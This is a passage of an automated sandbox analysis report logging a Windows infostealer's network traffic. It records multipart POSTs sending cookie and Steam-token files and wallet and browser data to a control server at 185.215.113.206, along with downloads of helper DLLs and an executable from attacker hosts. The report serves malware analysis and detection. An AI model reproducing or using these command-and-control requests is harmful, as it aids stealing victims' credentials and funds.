2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 2d 2d 0d 0a Data Ascii: ------HIIIEGDBKJKEBGCBAFCFContent-Disposition: form-data; name="token"5b3b4caa21d71584d971e4b36a2c7370f34657900034df12b65e51d1eb0cb939db892385------HIIIEGDBKJKEBGCBAFCFContent-Disposition: form-data; name="message"browsers------HIIIEGDBKJKEBGCBAFCF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHJJEGHIIDAFIDHJDHJEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 4a 45 47 48 49 49 44 41 46 49 44 48 4a 44 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 33 62 34 63 61 61 32 31 64 37 31 35 38 34 64 39 37 31 65 34 62 33 36 61 32 63 37 33 37 30 66 33 34 36 35 37 39 30 30 30 33 34 64 66 31 32 62 36 35 65 35 31 64 31 65 62 30 63 62 39 33 39 64 62 38 39 32 33 38 35 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 4a 45 47 48 49 49 44 41 46 49 44 48 4a 44 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 4a 45 47 48 49 49 44 41 46 49 44 48 4a 44 48 4a 45 2d 2d 0d 0a Data Ascii: ------DHJJEGHIIDAFIDHJDHJEContent-Disposition: form-data; name="token"5b3b4caa21d71584d971e4b36a2c7370f34657900034df12b65e51d1eb0cb939db892385------DHJJEGHIIDAFIDHJDHJEContent-Disposition: form-data; name="message"plugins------DHJJEGHIIDAFIDHJDHJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCAKKECAEGDGCBFIJEGHHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 33 62 34 63 61 61 32 31 64 37 31 35 38 34 64 39 37 31 65 34 62 33 36 61 32 63 37 33 37 30 66 33 34 36 35 37 39 30 30 30 33 34 64 66 31 32 62 36 35 65 35 31 64 31 65 62 30 63 62 39 33 39 64 62 38 39 32 33 38 35 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 2d 2d 0d 0a Data Ascii: ------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="token"5b3b4caa21d71584d971e4b36a2c7370f34657900034df12b65e51d1eb0cb939db892385------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="message"fplugins------GCAKKECAEGDGCBFIJEGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGCFCAKFHCGCBFHCGHDHost: 185.215.113.206Content-Length: 8347Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGCFHIDAKECFHIEBFCGHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 33 62 34 63 61 61 32 31 64 37 31 35 38 34 64 39 37 31 65 34 62 33 36 61 32 63 37 33 37 30 66 33 34 36 35 37 39 30 30 30 33 34 64 66 31 32 62 36 35 65 35 31 64 31 65 62 30 63 62 39 33 39 64 62 38 39 32 33 38 35 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 2d 2d 0d 0a Data Ascii: ------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="token"5b3b4caa21d71584d971e4b36a2c7370f34657900034df12b65e51d1eb0cb939db892385------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HDGCFHIDAKECFHIEBFCG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKEGDAKEHJDHIDHJJDAEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 33 62 34 63 61 61 32 31 64 37 31 35 38 34 64 39 37 31 65 34 62 33 36 61 32 63 37 33 37 30 66 33 34 36 35 37 39 30 30 30 33 34 64 66 31 32 62 36 35 65 35 31 64 31 65 62 30 63 62 39 33 39 64 62 38 39 32 33 38 35 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 2d 2d 0d 0a Data Ascii: ------AKEGDAKEHJDHIDHJJDAEContent-Disposition: form-data; name="token"5b3b4caa21d71584d971e4b36a2c7370f34657900034df12b65e51d1eb0cb939db892385------AKEGDAKEHJDHIDHJJDAEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AKEGDAKEHJDHIDHJJDAEContent-Disposition: form-data; name="file"------AKEGDAKEHJDHIDHJJDAE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIDGHDBAFIJJJJKJDHDHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFCAAEHJDBKJJKFHJEBKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 33 62 34 63 61 61 32 31 64 37 31 35 38 34 64 39 37 31 65 34 62 33 36 61 32 63 37 33 37 30 66 33 34 36 35 37 39 30 30 30 33 34 64 66 31 32 62 36 35 65 35 31 64 31 65 62 30 63 62 39 33 39 64 62 38 39 32 33 38 35 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 2d 2d 0d 0a Data Ascii: ------BFCAAEHJDBKJJKFHJEBKContent-Disposition: form-data; name="token"5b3b4caa21d71584d971e4b36a2c7370f34657900034df12b65e51d1eb0cb939db892385------BFCAAEHJDBKJJKFHJEBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFCAAEHJDBKJJKFHJEBKContent-Disposition: form-data; name="file"------BFCAAEHJDBKJJKFHJEBK--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEBFHCAKFBGDHIDHIDBHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJKEHJEGCFCAKFIIJJJHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 48 4a 45 47 43 46 43 41 4b 46 49 49 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 33 62 34 63 61 61 32 31 64 37 31 35 38 34 64 39 37 31 65 34 62 33 36 61 32 63 37 33 37 30 66 33 34 36 35 37 39 30 30 30 33 34 64 66 31 32 62 36 35 65 35 31 64 31 65 62 30 63 62 39 33 39 64 62 38 39 32 33 38 35 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 48 4a 45 47 43 46 43 41 4b 46 49 49 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 48 4a 45 47 43 46 43 41 4b 46 49 49 4a 4a 4a 2d 2d 0d 0a Data Ascii: ------GHJKEHJEGCFCAKFIIJJJContent-Disposition: form-data; name="token"5b3b4caa21d71584d971e4b36a2c7370f34657900034df12b65e51d1eb0cb939db892385------GHJKEHJEGCFCAKFIIJJJContent-Disposition: form-data; name="message"wallets------GHJKEHJEGCFCAKFIIJJJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJJJEBFHDBGIECBFCBKJHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 33 62 34 63 61 61 32 31 64 37 31 35 38 34 64 39 37 31 65 34 62 33 36 61 32 63 37 33 37 30 66 33 34 36 35 37 39 30 30 30 33 34 64 66 31 32 62 36 35 65 35 31 64 31 65 62 30 63 62 39 33 39 64 62 38 39 32 33 38 35 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 2d 2d 0d 0a Data Ascii: ------IJJJEBFHDBGIECBFCBKJContent-Disposition: form-data; name="token"5b3b4caa21d71584d971e4b36a2c7370f34657900034df12b65e51d1eb0cb939db892385------IJJJEBFHDBGIECBFCBKJContent-Disposition: form-data; name="message"files------IJJJEBFHDBGIECBFCBKJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEBKJECFCFBFIECBKFBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 33 62 34 63 61 61 32 31 64 37 31 35 38 34 64 39 37 31 65 34 62 33 36 61 32 63 37 33 37 30 66 33 34 36 35 37 39 30 30 30 33 34 64 66 31 32 62 36 35 65 35 31 64 31 65 62 30 63 62 39 33 39 64 62 38 39 32 33 38 35 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 2d 2d 0d 0a Data Ascii: ------IIEBKJECFCFBFIECBKFBContent-Disposition: form-data; name="token"5b3b4caa21d71584d971e4b36a2c7370f34657900034df12b65e51d1eb0cb939db892385------IIEBKJECFCFBFIECBKFBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IIEBKJECFCFBFIECBKFBContent-Disposition: form-data; name="file"------IIEBKJECFCFBFIECBKFB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJEGDGIJECGCBGCGHDGHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 33 62 34 63 61 61 32 31 64 37 31 35 38 34 64 39 37 31 65 34 62 33 36 61 32 63 37 33 37 30 66 33 34 36 35 37 39 30 30 30 33 34 64 66 31 32 62 36 35 65 35 31 64 31 65 62 30 63 62 39 33 39 64 62 38 39 32 33 38 35 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 2d 2d 0d 0a Data Ascii: ------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="token"5b3b4caa21d71584d971e4b36a2c7370f34657900034df12b65e51d1eb0cb939db892385------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="message"ybncbhylepme------BKJEGDGIJECGCBGCGHDG--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCGDGIDGIJKKEBGDAECAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 47 44 47 49 44 47 49 4a 4b 4b 45 42 47 44 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 33 62 34 63 61 61 32 31 64 37 31 35 38 34 64 39 37 31 65 34 62 33 36 61 32 63 37 33 37 30 66 33 34 36 35 37 39 30 30 30 33 34 64 66 31 32 62 36 35 65 35 31 64 31 65 62 30 63 62 39 33 39 64 62 38 39 32 33 38 35 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 44 47 49 44 47 49 4a 4b 4b 45 42 47 44 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 44 47 49 44 47 49 4a 4b 4b 45 42 47 44 41 45 43 41 2d 2d 0d 0a Data Ascii: ------HCGDGIDGIJKKEBGDAECAContent-Disposition: form-data; name="token"5b3b4caa21d71584d971e4b36a2c7370f34657900034df12b65e51d1eb0cb939db892385------HCGDGIDGIJKKEBGDAECAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HCGDGIDGIJKKEBGDAECA--

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49809 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49917 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.103.156.88
Source: unknown	TCP traffic detected without corresponding DNS query: 20.103.156.88
Source: unknown	TCP traffic detected without corresponding DNS query: 20.103.156.88
Source: unknown	TCP traffic detected without corresponding DNS query: 20.103.156.88
Source: unknown	TCP traffic detected without corresponding DNS query: 20.103.156.88
Source: unknown	TCP traffic detected without corresponding DNS query: 20.103.156.88
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7

Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20231005T064724Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=5c53369ebf7746d4b02e80ebc63dfa86&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598480&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598480&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6Cache-Control: no-cacheMS-CV: 7cz3JHKxI0e7Od7q.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
